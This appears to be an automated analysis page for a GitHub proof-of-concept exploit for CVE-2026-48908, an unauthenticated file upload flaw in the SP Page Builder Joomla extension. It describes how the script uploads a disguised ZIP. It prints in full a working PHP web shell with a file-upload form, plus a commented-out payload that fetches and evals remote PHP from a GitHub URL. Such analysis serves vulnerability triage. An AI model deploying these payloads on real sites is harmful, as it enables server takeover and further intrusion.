Jenderal92/CVE-2026-48908

GitHubRepository PoCExploit

PoC files

2 files

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GitHub
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

A Python 2.7 script that exploits CVE-2026-48908, an unauthenticated arbitrary file upload vulnerability in the SP Page Builder Joomla extension, to achieve remote code execution by uploading a PHP web shell.

Backdoor review

No backdoor observed in reviewed code

The PoC exploits CVE-2026-48908 by uploading a ZIP containing a PHP webshell. The webshell code is fully visible and provides a file upload interface and server information, consistent with the stated RCE goal. No concealed, unrelated, or operator-directed harmful behavior (e.g., credential theft, persistence, unrelated payload) is present. Commented-out alternative payloads are inert and do not execute.

ClassificationExploit
Model confidence100%
AuthenticationNot required
LanguagesPython
Target softwareSP Page Builder for Joomla
Attack typesRemote Code ExecutionArbitrary File Upload
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The primary artifact is a Python script that actively uploads a PHP web shell to a vulnerable target and verifies its execution, which is the definition of an exploit. The README explicitly describes it as a 'Proof-of-concept exploit'.

CVE-2026-48908.py:76-105README.md:1-3

Requirements

  • Target must be running a vulnerable version of SP Page Builder (1.0.0 - 6.6.1) with the uploadCustomIcon task exposed.README.md:16
  • Python 2.7 and the 'requests' library are required to run the script.README.md:70-71

Observed behavior

  • Constructs a ZIP archive mimicking a valid icon-font package containing a PHP web shell at 'fonts/shxt.php' or 'fonts/shxt.PHP'.CVE-2026-48908.py:26-50
  • Sends a multipart POST request to the vulnerable 'asset.uploadCustomIcon' endpoint to upload the crafted ZIP file without authentication.CVE-2026-48908.py:52-59
  • Verifies successful exploitation by sending a GET request to the uploaded shell and checking for the presence of the string 'Shinday' in the response.CVE-2026-48908.py:61-68
  • Logs the URL of the successfully uploaded web shell to 'result.txt'.CVE-2026-48908.py:130-131
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Webshell Payload
GIF89a;<?php $s="Shinday";echo'<center><pre><br><br><h1 style="color:red;">'.$s.'</h1><br>'.php_uname()."\\n".'<br><br><br><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>';if($_POST){$t=$_FILES['__']['tmp_name'];$n=$_FILES['__']['name'];if(@move_uploaded_file($t,$n)){echo'<b style="color:green;">Upload success</b><br><br><a href="'.$n.'" target="_blank">Click here</a>';}elseif(@copy($t,$n)){echo'<b style="color:green;">Upload success(copy)</b><br><br><a href="'.$n.'" target="_blank">Click here</a>';}else{echo'<b style="color:red;">Upload failed</b>';}}?>The active PHP webshell embedded in the uploaded ZIP. It displays server information and provides a file upload form, which is standard for a PoC demonstrating RCE.CVE-2026-48908.py:29
Commented Out Payload
<?=/****/@null; /********/ /*******/ /********/@eval/****/("?>".file_get_contents/*******/("https://github.com/Jenderal92/php/raw/refs/heads/master/jeki.php"));/**/?>A commented-out PHP payload that would fetch and execute remote code. It is never assigned to shell_bytes or written to the ZIP; it remains inert.CVE-2026-48908.py:31
Review boundaries

What the analysis did not establish

  • The evidence is limited to the provided source code and README; no runtime behavior, network traffic, or target system state was observed.
  • The script is written for Python 2.7, which is end-of-life, and its functionality on modern systems is not verified.
  • Review is based solely on the supplied text files; no dynamic analysis was performed.
  • The commented-out payload (line 31) references an external URL that could be malicious if activated, but the script does not use it.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Linked vulnerabilities

1